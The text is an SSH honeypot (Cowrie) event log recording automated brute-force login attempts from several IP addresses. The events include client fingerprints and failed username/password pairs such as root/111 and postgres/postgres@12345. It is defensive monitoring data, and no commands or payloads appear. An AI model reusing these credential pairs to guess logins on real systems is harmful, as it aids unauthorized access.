{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:07.814598Z","src_ip":"176.65.139.95","session":"ef72a0b22bfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:08.900042Z","src_ip":"176.65.139.95","session":"ef72a0b22bfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43956,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcd9047c66a7","protocol":"ssh","message":"New connection: 192.109.200.78:43956 (159.203.135.109:22) [session: bcd9047c66a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:09.508899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:09.517858Z","src_ip":"192.109.200.78","session":"bcd9047c66a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":59546,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1a9e2c445b8","protocol":"ssh","message":"New connection: 80.94.92.186:59546 (159.203.135.109:22) [session: c1a9e2c445b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:09.558338Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:09.605758Z","src_ip":"192.109.200.78","session":"bcd9047c66a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:09.674219Z","src_ip":"80.94.92.186","session":"c1a9e2c445b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:09.863018Z","src_ip":"192.109.200.78","session":"bcd9047c66a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:11.002418Z","src_ip":"192.109.200.78","session":"bcd9047c66a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":53436,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8c59f9bed6f","protocol":"ssh","message":"New connection: 177.54.62.66:53436 (10.17.0.5:22) [session: e8c59f9bed6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:12.332418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:12.337529Z","src_ip":"177.54.62.66","session":"e8c59f9bed6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:12.468858Z","src_ip":"177.54.62.66","session":"e8c59f9bed6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres@12345","message":"login attempt [postgres/postgres@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:13.027343Z","src_ip":"177.54.62.66","session":"e8c59f9bed6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45722,"dst_ip":"159.203.135.109","dst_port":22,"session":"32a8a9b3e9ce","protocol":"ssh","message":"New connection: 176.65.139.95:45722 (159.203.135.109:22) [session: 32a8a9b3e9ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:13.581384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:13.586184Z","src_ip":"176.65.139.95","session":"32a8a9b3e9ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:13.668506Z","src_ip":"176.65.139.95","session":"32a8a9b3e9ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43974,"dst_ip":"159.203.135.109","dst_port":22,"session":"eaea0eebb053","protocol":"ssh","message":"New connection: 192.109.200.78:43974 (159.203.135.109:22) [session: eaea0eebb053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:13.775332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:13.780912Z","src_ip":"192.109.200.78","session":"eaea0eebb053","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:13.863592Z","src_ip":"192.109.200.78","session":"eaea0eebb053","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vss","password":"vss","message":"login attempt [vss/vss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:14.038606Z","src_ip":"176.65.139.95","session":"32a8a9b3e9ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root.123","message":"login attempt [root/root.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:14.118983Z","src_ip":"192.109.200.78","session":"eaea0eebb053","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:14.160981Z","src_ip":"177.54.62.66","session":"e8c59f9bed6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:15.131881Z","src_ip":"176.65.139.95","session":"32a8a9b3e9ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:15.212487Z","src_ip":"192.109.200.78","session":"eaea0eebb053","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43994,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca725277adb0","protocol":"ssh","message":"New connection: 192.109.200.78:43994 (159.203.135.109:22) [session: ca725277adb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:17.837690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:17.846861Z","src_ip":"192.109.200.78","session":"ca725277adb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:17.935836Z","src_ip":"192.109.200.78","session":"ca725277adb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":32928,"dst_ip":"159.203.135.109","dst_port":22,"session":"7346d00803a9","protocol":"ssh","message":"New connection: 159.203.92.129:32928 (159.203.135.109:22) [session: 7346d00803a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:18.158470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:18.166753Z","src_ip":"159.203.92.129","session":"7346d00803a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:18.172343Z","src_ip":"159.203.92.129","session":"7346d00803a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:18.192551Z","src_ip":"192.109.200.78","session":"ca725277adb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"PICAT","password":"lizy","message":"login attempt [PICAT/lizy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:18.200538Z","src_ip":"159.203.92.129","session":"7346d00803a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:19.216066Z","src_ip":"159.203.92.129","session":"7346d00803a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:19.295472Z","src_ip":"192.109.200.78","session":"ca725277adb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47124,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f65f5d50b5b","protocol":"ssh","message":"New connection: 176.65.139.95:47124 (159.203.135.109:22) [session: 3f65f5d50b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:19.581147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:19.589045Z","src_ip":"176.65.139.95","session":"3f65f5d50b5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:19.695156Z","src_ip":"176.65.139.95","session":"3f65f5d50b5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:20.012719Z","src_ip":"176.65.139.95","session":"3f65f5d50b5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:21.105772Z","src_ip":"176.65.139.95","session":"3f65f5d50b5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49228,"dst_ip":"159.203.135.109","dst_port":22,"session":"a350ff1a790e","protocol":"ssh","message":"New connection: 192.109.200.78:49228 (159.203.135.109:22) [session: a350ff1a790e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:22.070890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:22.078230Z","src_ip":"192.109.200.78","session":"a350ff1a790e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:22.162251Z","src_ip":"192.109.200.78","session":"a350ff1a790e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb@1234","message":"login attempt [tidb/tidb@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:22.420063Z","src_ip":"192.109.200.78","session":"a350ff1a790e","protocol":"ssh"}
